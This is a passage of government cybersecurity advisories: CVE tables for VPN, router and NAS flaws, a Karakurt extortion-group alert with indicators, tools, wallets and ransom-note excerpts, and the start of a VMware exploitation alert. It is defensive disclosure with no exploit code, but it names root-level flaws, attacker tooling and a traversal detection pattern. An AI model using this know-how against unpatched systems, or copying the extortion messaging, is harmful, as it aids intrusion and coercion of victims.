  • Citrix ADC and Citrix Gateway version 13.0 all supported builds before 13.0.47.24
  • NetScaler ADC and NetScaler Gateway version 12.1 all supported builds before 12.1.55.18
  • NetScaler ADC and NetScaler Gateway version 12.0 all supported builds before 12.0.63.13
  • NetScaler ADC and NetScaler Gateway version 11.1 all supported builds before 11.1.63.15
  • NetScaler ADC and NetScaler Gateway version 10.5 all supported builds before 10.5.70.12
  • Citrix SD-WAN WANOP appliance models 4000-WO, 4100-WO, 5000-WO, and 5100-WO all supported software release builds before 10.2.6b and 11.0.3b 

References 

https://support.citrix.com/article/CTX267027

 

Table 6: Information on DrayTek CVE-2020-8515

                                                 DrayTek CVE-2020-8515          CVSS 3.0: 9.8 (Critical)

Vulnerability Description 

DrayTek Vigor2960 1.3.1_Beta, Vigor3900 1.4.4_Beta, and Vigor300B 1.3.3_Beta, 1.4.2.1_Beta, and 1.4.4_Beta devices allow remote code execution as root (without authentication) via shell metacharacters to the cgi-bin/mainfunction.cgi URI. This issue has been fixed in Vigor3900/2960/300B v1.5.1.

Recommended Mitigations 
  • Users of affected models should upgrade to 1.5.1 firmware or later as soon as possible, the updated firmware addresses this issue.
  • Disable the remote access on your router if you don’t need it.
  • Disable remote access (admin) and SSL VPN. The ACL does not apply to SSL VPN connections (Port 443) so you should also temporarily disable SSL VPN until you have updated the firmware.
  • Always back up your config before doing an upgrade.
  • After upgrading, check that the web interface now shows the new firmware version.
  • Enable syslog logging for monitoring if there are abnormal events. 
Detection Methods 
  • Check that no additional remote access profiles (VPN dial-in, teleworker or LAN to LAN) or admin users (for router admin) have been added.
  • Check if any ACL (Access Control Lists) have been altered.
Vulnerable Technologies and Versions 
  • This vulnerability affects the Vigor3900/2960/300B before firmware version 1.5.1.

References 

https://draytek.com/about/security-advisory/vigor3900-/-vigor2960-/-vigor300b-router-web-management-page-vulnerability-(cve-2020-8515)/
http://packetstormsecurity.com/files/156979/DrayTek-Vigor2960-Vigor3900-Vigor300B-Remote-Command-Execution.html
https://sku11army.blogspot.com/2020/01/draytek-unauthenticated-rce-in-draytek.html

 

Table 7: Information on D-Link CVE-2019-16920

                                                   D-Link CVE-2019-16920          CVSS 3.0: 9.8 (Critical)

Vulnerability Description 

Unauthenticated remote code execution occurs in D-Link products such as DIR-655C, DIR-866L, DIR-652, and DHP-1565. The issue occurs when the attacker sends an arbitrary input to a "PingTest" device common gateway interface that could lead to common injection. An attacker who successfully triggers the command injection could achieve full system compromise. Later, it was independently found that these are also affected: DIR-855L, DAP-1533, DIR-862L, DIR-615, DIR-835, and DIR-825.

Recommended Mitigations 
  • Recommendation is to replace affected devices with ones that are currently supported by the vendor. End-of-life devices should not be used.
Detection Methods 
  • HTTP packet inspection to look for arbitrary input to the “ping_test” command 
Vulnerable Technologies and Versions 
  • DIR DIR-655C, DIR-866L, DIR-652, DHP-1565, DIR-855L, DAP-1533, DIR-862L, DIR-615, DIR-835, and DIR-82

References 

https://www.kb.cert.org/vuls/id/766427
https://fortiguard.com/zeroday/FG-VD-19-117
https://medium.com/@80vul/determine-the-device-model-affected-by-cve-2019-16920-by-zoomeye-bf6fec7f9bb3
https://www.seebug.org/vuldb/ssvid-98079

 

Table 8: Information on Fortinet CVE-2018-13382

                                                     Fortinet CVE-2018-13382            CVSS 3.0: 7.5 (High)

Vulnerability Description 

An Improper Authorization vulnerability in Fortinet FortiOS 6.0.0 to 6.0.4, 5.6.0 to 5.6.8 and 5.4.1 to 5.4.10 and FortiProxy 2.0.0, 1.2.0 to 1.2.8, 1.1.0 to 1.1.6, 1.0.0 to 1.0.7 under SSL VPN web portal allows an unauthenticated attacker to modify the password of an SSL VPN web portal user via specially crafted HTTP requests.

Recommended Mitigations 
  • Upgrade to FortiOS versions 5.4.11, 5.6.9, 6.0.5, 6.2.0 or above and/or upgrade to FortiProxy version 1.2.9 or above or version 2.0.1 or above.
  • SSL VPN users with local authentication can mitigate the impact by enabling Two-Factor Authentication (2FA).
  • Migrate SSL VPN user authentication from local to remote (LDAP or RADIUS).
  • Totally disable the SSL-VPN service (both web-mode and tunnel-mode) by applying the following CLI commands: config vpn ssl settings, unset source-interface, end.
Detection Methods 
  • HTTP packet inspection to look for specially crafted packets containing the magic key for the SSL VPN password modification

Vulnerable Technologies and Versions

This vulnerability affects the following products: 

  • Fortinet FortiOS 6.0.0 to 6.0.4
  • Fortinet FortiOS 5.6.0 to 5.6.8
  • Fortinet FortiOS 5.4.1 to 5.4.10
  • Fortinet FortiProxy 2.0.0
  • Fortinet FortiProxy 1.2.8 and below
  • Fortinet FortiProxy 1.1.6 and below
  • Fortinet FortiProxy 1.0.7 and below

FortiOS products are vulnerable only if the SSL VPN service (web-mode or tunnel-mode) is enabled and users with local authentication.

References 

https://fortiguard.com/psirt/FG-IR-18-389
https://fortiguard.com/advisory/FG-IR-18-389
https://www.fortiguard.com/psirt/FG-IR-20-231

 

Table 9: Information on Mikrotik CVE-2018-14847

                                            Mikrotik CVE-2018-14847            CVSS 3.0: 9.1 (Critical)

Vulnerability Description 

MikroTik RouterOS through 6.42 allows unauthenticated remote attackers to read arbitrary files and remote authenticated attackers to write arbitrary files due to a directory traversal vulnerability in the WinBox interface.

Recommended Mitigations 
  • Upgrade WinBox and RouterOS and change passwords
  • Firewall the WinBox port from the public interface and from untrusted networks
Detection Methods 
  • Use export command to see all your configuration and inspect for any abnormalities, such as unknown SOCKS proxy settings and scripts.

Vulnerable Technologies and Versions 

This vulnerability affected the following MikroTik products:

  • All bugfix releases from 6.30.1 to 6.40.7
  • All current releases from 6.29 to 6.42
  • All RC releases from 6.29rc1 to 6.43rc3

References

https://blog.mikrotik.com/security/winbox-vulnerability.html

 

Table 10: Information on Netgear CVE-2017-6862

                                             Netgear CVE-2017-6862                  CVSS 3.0: 9.8 (Critical)

Vulnerability Description 

NETGEAR WNR2000v3 devices before 1.1.2.14, WNR2000v4 devices before 1.0.0.66, and WNR2000v5 devices before 1.0.0.42 allow authentication bypass and remote code execution via a buffer overflow that uses a parameter in the administration webapp. The NETGEAR ID is PSV-2016-0261.

Recommended Mitigations 
  • NETGEAR has released firmware updates that fix the unauthenticated remote code execution vulnerability for all affected products. 
Detection Methods 
  • HTTP packet inspection to find any specially crafted packets attempting a buffer overflow through specialized parameters.

Vulnerable Technologies and Versions 

This vulnerability affects the following products:

  • WNR2000v3 before version 1.1.2.14
  • WNR2000v4 before version 1.0.0.66
  • WNR2000v5 before version 1.0.0.42
  • R2000

References 

https://kb.netgear.com/000038542/Security-Advisory-for-Unauthenticated-Remote-Code-Execution-on-Some-Routers-PSV-2016-0261
https://www.on-x.com/sites/default/files/on-x_-_security_advisory_-_netgear_wnr2000v5_-_cve-2017-6862.pdf
http://www.securityfocus.com/bid/98740

 

Table 11: Information on Pulse CVE-2019-11510

                                              Pulse CVE-2019-11510                   CVSS 3.0: 10 (Critical)

Vulnerability Description 

In Pulse Secure Pulse Connect Secure (PCS) 8.2 before 8.2R12.1, 8.3 before 8.3R7.1, and 9.0 before 9.0R3.4, an unauthenticated remote attacker can send a specially crafted URI to perform an arbitrary file reading vulnerability. 

Recommended Mitigations 
  • Upgrade to the latest Pulse Secure VPN.
  • Stay alert to any scheduled tasks or unknown files/executables.
  • Create detection/protection mechanisms that respond on directory traversal (/../../../) attempts to read local system files.

Detection Methods 

  • CISA developed a tool to help determine if IOCs exist in the log files of a Pulse Secure VPN Appliance for CVE-2019-11510: cisa.gov/check-your-pulse.
  • Nmap developed a script that can be used with the port scanning engine: http-vuln-cve2019- 11510.nse #1708.

Vulnerable Technologies and Versions 

This vulnerability affects the following Pulse Connect Secure products:

  • 9.0R1 to 9.0R3.3
  • 8.3R1 to 8.3R7
  • 8.2R1 to 8.2R12

References 

https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44101/

 

Table 12: Information on Pulse CVE-2021-22893

                                               Pulse CVE-2021-22893              CVSS 3.0: 10 (Critical)

Vulnerability Description 

Pulse Connect Secure 9.0R3/9.1R1 and higher is vulnerable to an authentication bypass vulnerability exposed by the Windows File Share Browser and Pulse Secure Collaboration features of Pulse Connect Secure that can allow an unauthenticated user to perform remote arbitrary code execution on the Pulse Connect Secure gateway. This vulnerability has been exploited in the wild.

Recommended Mitigations
  • Updating such systems to PCS 9.1R11.4.
  • Run the PCS Integrity Assurance utility.
  • Enable Unauthenticated Request logging.
  • Enable remote logging.
  • Pulse Secure has published a Workaround-2104.xml file that contains mitigations to protect against this and other vulnerabilities.
  • Monitor capabilities in open source scanners. 
Detection Methods 
  • Log correlation between the authentication servers responsible for LDAP and RADIUS authentication and the VPN server. Authentication failures in either LDAP or RADIUS logs with the associated VPN logins showing success would be an anomalous event worthy of flagging.
  • The Pulse Security Check Tool.
  • A ‘recovery’ file not present in legitimate versions. https://ive-host/dana-na/auth/recover[.]cgi?token=<varies>.

Vulnerable Technologies and Versions 

This vulnerability affects Pulse Connect Secure 9.0R3/9.1R1 and higher.

References 

https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44101/
https://blog.pulsesecure.net/pulse-connect-secure-security-update/
https://kb.cert.org/vuls/id/213092
https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44784/
https://www.fireeye.com/blog/threat-research/2021/04/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day.html

 

Table 13: Information on QNAP CVE-2019-7192

                                                  QNAP CVE-2019-7192               CVSS 3.0: 9.8 (Critical)

Vulnerability Description 

This improper access control vulnerability allows remote attackers to gain unauthorized access to the system. To fix these vulnerabilities, QNAP recommend updating Photo Station to their latest versions.

Recommended Mitigations 

Update Photo Station to versions: 

  • QTS 4.4.1 Photo Station 6.0.3 and later
  • QTS 4.3.4-QTS 4.4.0 Photo Station 5.7.10 and later
  • QTS 4.3.0-QTS 4.3.3 Photo Station 5.4.9 and later
  • QTS 4.2.6 Photo Station 5.2.11 and later 
Detection Methods 
  • N/A

Vulnerable Technologies and Versions 

This vulnerability affects QNAP Photo Station versions 5.2.11, 5.4.9, 5.7.10, and 6.0.3 or earlier.

References 

https://www.qnap.com/zh-tw/security-advisory/nas-201911-25
http://packetstormsecurity.com/files/157857/QNAP-QTS-And-Photo-Station-6.0.3-Remote-Command-Execution.html

 

Table 14: Information on QNAP CVE- 2019-7193

                                                QNAP CVE-2019-7193                  CVSS 3.0: 9.8 (Critical)

Vulnerability Description 

This improper input validation vulnerability allows remote attackers to inject arbitrary code to the system. To fix the vulnerability, QNAP recommend updating QTS to their latest versions.

Recommended Mitigations 

Update QTS to versions: 

  • QTS 4.4.1 build 20190918 and later
  • QTS 4.3.6 build 20190919 and later
Detection Methods 
  • N/A

Vulnerable Technologies and Versions 

This vulnerability affects QNAP QTS 4.3.6 and 4.4.1 or earlier.

References 

https://www.qnap.com/zh-tw/security-advisory/nas-201911-25
http://packetstormsecurity.com/files/157857/QNAP-QTS-And-Photo-Station-6.0.3-Remote-Command-Execution.html

 

Table 15: Information on QNAP CVE-2019-7194

                                               QNAP CVE-2019-7194             CVSS 3.0: 9.8 (Critical)

Vulnerability Description

This external control of file name or path vulnerability allows remote attackers to access or modify system files. To fix the vulnerability, QNAP recommend updating Photo Station to their latest versions.

Recommended Mitigations 

Update Photo Station to versions: 

  • QTS 4.4.1 Photo Station 6.0.3 and later
  • QTS 4.3.4-QTS 4.4.0 Photo Station 5.7.10 and later
  • QTS 4.3.0-QTS 4.3.3 Photo Station 5.4.9 and later
  • QTS 4.2.6 Photo Station 5.2.11 and later
Detection Methods 
  • N/A

Vulnerable Technologies and Versions 

This vulnerability affects QNAP Photo Station versions 5.2.11, 5.4.9, 5.7.10, and 6.0.3 or earlier.

References 

https://www.qnap.com/zh-tw/security-advisory/nas-201911-25 
http://packetstormsecurity.com/files/157857/QNAP-QTS-And-Photo-Station-6.0.3-Remote-Command-Execution.html

 

Table 16: Information on QNAP CVE-2019-7195

                                             QNAP CVE-2019-7195                   CVSS 3.0: 9.8 (Critical)

Vulnerability Description 

This external control of file name or path vulnerability allows remote attackers to access or modify system files. To fix the vulnerability, QNAP recommend updating Photo Station to their latest versions.

Recommended Mitigations 

Update Photo Station to versions: 

  • QTS 4.4.1 Photo Station 6.0.3 and later
  • QTS 4.3.4-QTS 4.4.0 Photo Station 5.7.10 and later
  • QTS 4.3.0-QTS 4.3.3 Photo Station 5.4.9 and later
  • QTS 4.2.6 Photo Station 5.2.11 and later
Detection Methods 
  • N/A

Vulnerable Technologies and Versions 

This vulnerability affects QNAP Photo Station versions 5.2.11, 5.4.9, 5.7.10, and 6.0.3 or earlier.

References 

https://www.qnap.com/zh-tw/security-advisory/nas-201911-25
http://packetstormsecurity.com/files/157857/QNAP-QTS-And-Photo-Station-6.0.3-Remote-Command-Execution.html

 

Table 17: Information on Zyxel CVE-2020-29583

                                                Zyxel CVE-2020-29583            CVSS 3.0: 9.8 (Critical)

Vulnerability Description 

Firmware version 4.60 of Zyxel USG devices contains an undocumented account (zyfwp) with an unchangeable password. The password for this account can be found in cleartext in the firmware. This account can be used by someone to login to the SSH server or web interface with admin privileges.

Recommended Mitigations 
  • Download latest patch (4.60 Patch1 or newer)
Detection Methods 
  • Login attempts to the hardcoded undocumented account, seen in either audit logs or intrusion detection systems

Vulnerable Technologies and Versions 

This vulnerability affects the following technologies and versions:

  • ATP series running firmware ZLD V4.60
  • USG series running firmware ZLD V4.60
  • USG FLEX series running firmware ZLD V4.60
  • VPN series running firmware ZLD V4.60
  • NXC2500 running firmware V6.00 through V6.10
  • NXC5500 running firmware V6.00 through V6.10

References 

http://ftp.zyxel.com/USG40/firmware/USG40_4.60(AALA.1)C0_2.pdf
https://businessforum.zyxel.com/discussion/5252/zld-v4-60-revoke-and-wk48-firmware-release
https://businessforum.zyxel.com/discussion/5254/whats-new-for-zld4-60-patch-1-available-on-dec-15
https://www.eyecontrol.nl/blog/undocumented-user-account-in-zyxel-products.html
https://www.zyxel.com/support/CVE-2020-29583.shtml
https://www.zyxel.com/support/security_advisories.shtml

 

Revisions
  • Initial Version: June 7, 2022

This product is provided subject to this Notification and this Privacy & Use policy.

Categories: LATEST ALERT

AA22-152A: Karakurt Data Extortion Group

US-CERT Alerts - Wed, 06/01/2022 - 15:00
Original release date: June 1, 2022
Summary

Actions to take today to mitigate cyber threats from ransomware:
• Prioritize patching known exploited vulnerabilities.
• Train users to recognize and report phishing attempts.
• Enforce multifactor authentication.

The Federal Bureau of Investigation (FBI), the Cybersecurity and Infrastructure Security Agency (CISA), the Department of the Treasury (Treasury), and the Financial Crimes Enforcement Network (FinCEN) are releasing this joint Cybersecurity Advisory (CSA) to provide information on the Karakurt data extortion group, also known as the Karakurt Team and Karakurt Lair. Karakurt actors have employed a variety of tactics, techniques, and procedures (TTPs), creating significant challenges for defense and mitigation. Karakurt victims have not reported encryption of compromised machines or files; rather, Karakurt actors have claimed to steal data and threatened to auction it off or release it to the public unless they receive payment of the demanded ransom. Known ransom demands have ranged from $25,000 to $13,000,000 in Bitcoin, with payment deadlines typically set to expire within a week of first contact with the victim.

Karakurt actors have typically provided screenshots or copies of stolen file directories as proof of stolen data. Karakurt actors have contacted victims’ employees, business partners, and clients [T1591.002] with harassing emails and phone calls to pressure the victims to cooperate. The emails have contained examples of stolen data, such as social security numbers, payment accounts, private company emails, and sensitive business data belonging to employees or clients. Upon payment of ransoms, Karakurt actors have provided some form of proof of deletion of files and, occasionally, a brief statement explaining how the initial intrusion occurred.

Prior to January 5, 2022, Karakurt operated a leaks and auction website found at https://karakurt[.]group. The domain and IP address originally hosting the website went offline in the spring 2022. The website is no longer accessible on the open internet, but has been reported to be located elsewhere in the deep web and on the dark web. As of May 2022, the website contained several terabytes of data purported to belong to victims across North America and Europe, along with several “press releases” naming victims who had not paid or cooperated, and instructions for participating in victim data “auctions.”

Download the PDF version of this report (pdf, 569kb).

Technical DetailsInitial Intrusion

Karakurt does not appear to target any specific sectors, industries, or types of victims. During reconnaissance [TA0043], Karakurt actors appear to obtain access to victim devices primarily:

  • By purchasing stolen login credentials [T1589.001] [T1589.002]; 
  • Via cooperating partners in the cybercrime community, who provide Karakurt access to already compromised victims; or 
  • Through buying access to already compromised victims via third-party intrusion broker networks [T1589.001].
    • Note: Intrusion brokers, or intrusion broker networks, are malicious individual cyber actors or groups of actors who use a variety of tools and skills to obtain initial access to—and often create marketable persistence within—protected computer systems. Intrusion brokers then sell access to these compromised computer systems to other cybercriminal actors, such as those engaged in ransomware, business email compromise, corporate and government espionage, etc. 

Common intrusion vulnerabilities exploited for initial access [TA001] in Karakurt events include the following:

  • Outdated SonicWall SSL VPN appliances [T1133] are vulnerable to multiple recent CVEs 
  • Log4j “Log4Shell” Apache Logging Services vulnerability (CVE-2021-44228) [T1190]
  • Phishing and spearphishing [T1566]
  • Malicious macros within email attachments [T1566.001]
  • Stolen virtual private network (VPN) or Remote Desktop Protocol (RDP) credentials [T1078]
  • Outdated Fortinet FortiGate SSL VPN appliances [T1133]/firewall appliances [T1190] are vulnerable to multiple recent CVEs
  • Outdated and/or unserviceable Microsoft Windows Server instances
Network Reconnaissance, Enumeration, Persistence, and Exfiltration

Upon developing or obtaining access to a compromised system, Karakurt actors deploy Cobalt Strike beacons to enumerate a network [T1083], install Mimikatz to pull plain-text credentials [T1078], use AnyDesk to obtain persistent remote control [T1219], and utilize additional situation-dependent tools to elevate privileges and move laterally within a network.

Karakurt actors then compress (typically with 7zip) and exfiltrate large sums of data—and, in many cases, entire network-connected shared drives in volumes exceeding 1 terabyte (TB)—using open source applications and File Transfer Protocol (FTP) services [T1048], such as Filezilla, and cloud storage services including rclone and Mega.nz [T1567.002]. 

Extortion

Following the exfiltration of data, Karakurt actors present the victim with ransom notes by way of “readme.txt” files, via emails sent to victim employees over the compromised email networks, and emails sent to victim employees from external email accounts. The ransom notes reveal the victim has been hacked by the “Karakurt Team” and threaten public release or auction of the stolen data. The instructions include a link to a TOR URL with an access code. Visiting the URL and inputting the access code open a chat application over which victims can negotiate with Karakurt actors to have their data deleted. 

Karakurt victims have reported extensive harassment campaigns by Karakurt actors in which employees, business partners, and clients receive numerous emails and phone calls warning the recipients to encourage the victims to negotiate with the actors to prevent the dissemination of victim data. These communications often included samples of stolen data—primarily personally identifiable information (PII), such as employment records, health records, and financial business records.

Victims who negotiate with Karakurt actors receive a “proof of life,” such as screenshots showing file trees of allegedly stolen data or, in some cases, actual copies of stolen files. Upon reaching an agreement on the price of the stolen data with the victims, Karakurt actors provided a Bitcoin address—usually a new, previously unused address—to which ransom payments could be made. Upon receiving the ransom, Karakurt actors provide some form of alleged proof of deletion of the stolen files, such as a screen recording of the files being deleted, a deletion log, or credentials for a victim to log into a storage server and delete the files themselves.

Although Karakurt’s primary extortion leverage is a promise to delete stolen data and keep the incident confidential, some victims reported Karakurt actors did not maintain the confidentiality of victim information after a ransom was paid. Note: the U.S. government strongly discourages the payment of any ransom to Karakurt threat actors, or any cyber criminals promising to delete stolen files in exchange for payments.

In some cases, Karakurt actors have conducted extortion against victims previously attacked by other ransomware variants. In such cases, Karakurt actors likely purchased or otherwise obtained previously stolen data. Karakurt actors have also targeted victims at the same time these victims were under attack by other ransomware actors. In such cases, victims received ransom notes from multiple ransomware variants simultaneously, suggesting Karakurt actors purchased access to a compromised system that was also sold to another ransomware actor.

Karakurt actors have also exaggerated the degree to which a victim had been compromised and the value of data stolen. For example, in some instances, Karakurt actors claimed to steal volumes of data far beyond the storage capacity of compromised systems or claimed to steal data that did not belong to the victim.
 

Indicators of Compromise 

 

Email mark.hubert1986@gmail.com; karakurtlair@gmail.com; personal.information.reveal@gmail.com; ripidelfun1986@protonmail.com; gapreappballye1979@protonmail.com; confedicial.datas.download@protonmail.com; armada.mitchell94@protonmail.com Protonmail email accounts in the following formats:
victimname_treasure@protonmail.com
victimname_jewels@protonmail.com
victimname_files@protonmail.com

 

Tools Onion site https://omx5iqrdbsoitf3q4xexrqw5r5tfw7vp3vl3li3lfo7saabxazshnead.onion Tools Rclone.exe;; AnyDesk.exe; Mimikatz Ngrok SSH tunnel application SHA256 - 3e625e20d7f00b6d5121bb0a71cfa61f92d658bcd61af2cf5397e0ae28f4ba56 DDLs masquerading as legitimate Microsoft binaries to System32 Mscxxx.dll: SHA1 - c33129a680e907e5f49bcbab4227c0b02e191770
Msuxxx.dll: SHA1 - 030394b7a2642fe962a7705dcc832d2c08d006f5 Msxsl.exe Legitimate Microsoft Command Line XSL Transformation Utility SHA1 - 8B516E7BE14172E49085C4234C9A53C6EB490A45 dllhosts.exe  Rclone SHA1 - fdb92fac37232790839163a3cae5f37372db7235 rclone.conf Rclone configuration file filter.txt Rclone file extension filter file c.bat UNKNOWN 3.bat UNKNOWN Potential malicious document SHA1 - 0E50B289C99A35F4AD884B6A3FFB76DE4B6EBC14

.

Tools Potential malicious document SHA1 - 7E654C02E75EC78E8307DBDF95E15529AAAB5DFF Malicious text file SHA1 - 4D7F4BB3A23EAB33A3A28473292D44C5965DDC95 Malicious text file SHA1 - 10326C2B20D278080AA0CA563FC3E454A85BB32F

 

Cobalt Strike hashes SHA256 - 563BC09180FD4BB601380659E922C3F7198306E0CAEBE99CD1D88CD2C3FD5C1B SHA256 - 5E2B2EBF3D57EE58CADA875B8FBCE536EDCBBF59ACC439081635C88789C67ACA SHA256 - 712733C12EA3B6B7A1BCC032CC02FD7EC9160F5129D9034BF9248B27EC057BD2 SHA256 - 563BC09180FD4BB601380659E922C3F7198306E0CAEBE99CD1D88CD2C3FD5C1B SHA256 - 5E2B2EBF3D57EE58CADA875B8FBCE536EDCBBF59ACC439081635C88789C67ACA SHA256 - 712733C12EA3B6B7A1BCC032CC02FD7EC9160F5129D9034BF9248B27EC057BD2 SHA1 - 86366bb7646dcd1a02700ed4be4272cbff5887af

 

Ransom note text sample:
  1.  

Here's the deal 

We breached your internal network and took control over all of your systems.

      2.

We analyzed and located each piece of more-or-less important files while spending weeks inside.

      3. 

We exfiltrated anything we wanted (xxx GB (including Private & Confidential information, Intellectual Property, Customer Information and most important Your TRADE SECRETS)

 

Ransom note text sample:

FAQ:

Who the hell are you?

Who the hell are you?

 

Payment Wallets: bc1qfp3ym02dx7m94td4rdaxy08cwyhdamefwqk9hp bc1qw77uss7stz7y7kkzz7qz9gt7xk7tfet8k30xax bc1q8ff3lrudpdkuvm3ehq6e27nczm393q9f4ydlgt bc1qenjstexazw07gugftfz76gh9r4zkhhvc9eeh47 bc1qxfqe0l04cy4qgjx55j4qkkm937yh8sutwhlp4c bc1qw77uss7stz7y7kkzz7qz9gt7xk7tfet8k30xax bc1qrtq27tn34pvxaxje4j33g3qzgte0hkwshtq7sq bc1q25km8usscsra6w2falmtt7wxyga8tnwd5s870g bc1qta70dm5clfcxp4deqycxjf8l3h4uymzg7g6hn5 bc1qrkcjtdjccpy8t4hcna0v9asyktwyg2fgdmc9al bc1q3xgr4z53cdaeyn03luhen24xu556y5spvyspt8 bc1q6s0k4l8q9wf3p9wrywf92czrxaf9uvscyqp0fu bc1qj7aksdmgrnvf4hwjcm5336wg8pcmpegvhzfmhw bc1qq427hlxpl7agmvffteflrnasxpu7wznjsu02nc bc1qz9a0nyrqstqdlr64qu8jat03jx5smxfultwpm0 bc1qq9ryhutrprmehapvksmefcr97z2sk3kdycpqtr bc1qa5v6amyey48dely2zq0g5c6se2keffvnjqm8ms bc1qx9eu6k3yhtve9n6jtnagza8l2509y7uudwe9f6 bc1qtm6gs5p4nr0y5vugc93wr0vqf2a0q3sjyxw03w bc1qta70dm5clfcxp4deqycxjf8l3h4uymzg7g6hn5 bc1qx9eu6k3yhtve9n6jtnagza8l2509y7uudwe9f6 bc1qqp73up3xff6jz267n7vm22kd4p952y0mhcd9c8 bc1q3xgr4z53cdaeyn03luhen24xu556y5spvyspt8 Mitre Att&ck Techniques

Karakurt actors use the ATT&CK techniques listed in table 1.
 

Table 1: Karakurt actors ATT&CK techniques for enterprise

Reconnaissance Technique Title ID Use Gather Victim Identify Information: Credentials T1589.001 Karakurt actors have purchased stolen login credentials. Gather Victim Identity Information: Email Addresses

T1589.002

Karakurt actors have purchased stolen login credentials including email addresses. Gather Victim Org Information: Business Relationships T1591.002 Karakurt actors have leveraged victims' relationships with business partners. Initial Access Technique Title ID Use Exploit Public-Facing Applications T1190 Karakurt actors have exploited the Log4j "Log4Shell" Apache Logging Service vulnerability and vulnerabilities in outdated firewall appliances for gaining access to victims' networks. External Remote Services T1133 Karakurt actors have exploited vulnerabilities in outdated VPN appliances for gaining access to victims' networks. Phishing T1566 Karakurt actors have used phishing and spearphishing to obtain access to victims' networks. Phishing – Spearphishing Attachment T1566.001 Karakurt actors have sent malicious macros as email attachments to gain initial access. Valid Accounts T1078 Karakurt actors have purchased stolen credentials, including VPN and RDP credentials, to gain access to victims' networks. Privilege Escalation Technique Title ID Use Valid Accounts T1078 Karakurt actors have installed Mimikatz to pull plain-text credentials.   Technique Title ID Use File and Directory Discovery T1083 Karakurt actors have deployed Cobalt Strike beacons to enumerate a network.   Technique Title ID Use Remote Access Software T1219 Karakurt actors have used AnyDesk to obtain persistent remote control of victims' systems. Exfiltration  Technique Title ID Use Exfiltration Over Alternative Protocol T1048 Karakurt actors have used FTP services, including Filezilla, to exfiltrate data from victims' networks. Exfiltration Over Web Service: Exfiltration to Cloud Storage T1567.002 Karakurt actors have used rclone and Mega.nz to exfiltrate data stolen from victims' networks.

 

Mitigations
  • Implement a recovery plan to maintain and retain multiple copies of sensitive or proprietary data and servers in a physically separate, segmented, and secure location (i.e., hard drive, storage device, the cloud).
  • Implement network segmentation and maintain offline backups of data to ensure limited interruption to the organization.
  • Regularly back up data and password protect backup copies offline. Ensure copies of critical data are not accessible for modification or deletion from the system where the data resides.
  • Install and regularly update antivirus software on all hosts and enable real time detection.
  • Install updates/patch operating systems, software, and firmware as soon as updates/patches are released.
  • Review domain controllers, servers, workstations, and active directories for new or unrecognized accounts. 
  • Audit user accounts with administrative privileges and configure access controls with least privilege in mind. Do not give all users administrative privileges.
  • Disable unused ports.
  • Consider adding an email banner to emails received from outside your organization.
  • Disable hyperlinks in received emails.
  • Enforce multi-factor authentication. 
  • Use National Institute for Standards and Technology (NIST) standards for developing and managing password policies.
    • Use longer passwords consisting of at least 8 characters and no more than 64 characters in length;
    • Store passwords in hashed format using industry-recognized password managers;
    • Add password user “salts” to shared login credentials;
    • Avoid reusing passwords;
    • Implement multiple failed login attempt account lockouts;
    • Disable password “hints”;
    • Refrain from requiring password changes more frequently than once per year. Note: NIST guidance suggests favoring longer passwords instead of requiring regular and frequent password resets. Frequent password resets are more likely to result in users developing password “patterns” cyber criminals can easily decipher. 
    • Require administrator credentials to install software.
  • Only use secure networks and avoid using public Wi-Fi networks. Consider installing and using a VPN.
  • Focus on cyber security awareness and training. Regularly provide users with training on information security principles and techniques as well as overall emerging cybersecurity risks and vulnerabilities (i.e., ransomware and phishing scams).
Resources Revisions
  • Initial Version: June 01, 2022

This product is provided subject to this Notification and this Privacy & Use policy.

Categories: LATEST ALERT

AA22-138B: Threat Actors Chaining Unpatched VMware Vulnerabilities for Full System Control

US-CERT Alerts - Wed, 05/18/2022 - 19:00
Original release date: May 18, 2022
Summary

The Cybersecurity and Infrastructure Security Agency (CISA) is releasing this Cybersecurity Advisory (CSA) to warn organizations that malicious cyber actors, likely advanced persistent threat (APT) actors, are exploiting CVE-2022-22954 and CVE-2022-22960 separately and in combination. These vulnerabilities affect certain versions of VMware Workspace ONE Access, VMware Identity Manager (vIDM), VMware vRealize Automation (vRA), VMware Cloud Foundation, and vRealize Suite Lifecycle Manager. Exploiting these vulnerabilities permits malicious actors to trigger a server-side template injection that may result in remote code execution (RCE) (CVE-2022-22954) or escalation of privileges to root (CVE-2022-22960). 

VMware released updates for both vulnerabilities on April 6, 2022, and, according to a trusted third party, malicious cyber actors were able to reverse engineer the updates to develop an exploit within 48 hours and quickly began exploiting the disclosed vulnerabilities in unpatched devices. CISA was made aware of this exploit a week later and added CVE-2022-22954 and CVE-2022-22960 to its catalog of Known Exploited Vulnerabilities on April 14 and April 15, respectively. In accordance with Binding Operational Directive (BOD) 22-01, Reducing the Significant Risk of Known Exploited Vulnerabilities, federal agencies were required to apply updates for CVE-2022-22954 and CVE-2022-22960 by May 5, and May 6, 2022, respectively

Note: based on this activity, CISA expects malicious cyber actors to quickly develop a capability to exploit newly released vulnerabilities CVE-2022-22972 and CVE-2022-22973 in the same impacted VMware products. In response, CISA has released, Emergency Directive (ED) 22-03 Mitigate VMware Vulnerabilities, which requires emergency action from Federal Civilian Executive Branch agencies to either immediately implement the updates in VMware Security Advisory VMSA-2022-0014 or remove the affected software from their network until the updates can be applied.

CISA has deployed an incident response team to a large organization where the threat actors exploited CVE-2022-22954. Additionally, CISA has received information—including indicators of compromise (IOCs)—about observed exploitation at multiple other large organizations from trusted third parties.

This CSA provides IOCs and detection signatures from CISA as well as from trusted third parties to assist administrators with detecting and responding to this activity. Due to the rapid exploitation of these vulnerabilities, CISA strongly encourages all organizations with internet-facing affected systems—that did not immediately apply updates—to assume compromise and initiate threat hunting activities using the detection methods provided in this CSA. If potential compromise is detected, administrators should apply the incident response recommendations included in this CSA.

Download the PDF version of this report (pdf, 232kb).

Technical Details

CISA has deployed an incident response team to a large organization where the threat actors exploited CVE-2022-22954. Additionally, CISA has received information about observed exploitation of CVE-2022-22954 and CVE-2022-22960 by multiple threat actors at multiple other large organizations from trusted third parties.

  • CVE-2022-22954 enables an actor with network access to trigger a server-side template injection that may result in RCE. This vulnerability affects the following products:[1]
    • VMware Workspace ONE Access, versions 21.08.0.1, 21.08.0.0, 20.10.0.1, 20.10.0.0
    • vIDM versions 3.3.6, 3.3.5, 3.3.4, 3.3.3
    • VMware Cloud Foundation, 4.x
    • vRealize Suite LifeCycle Manager, 8.
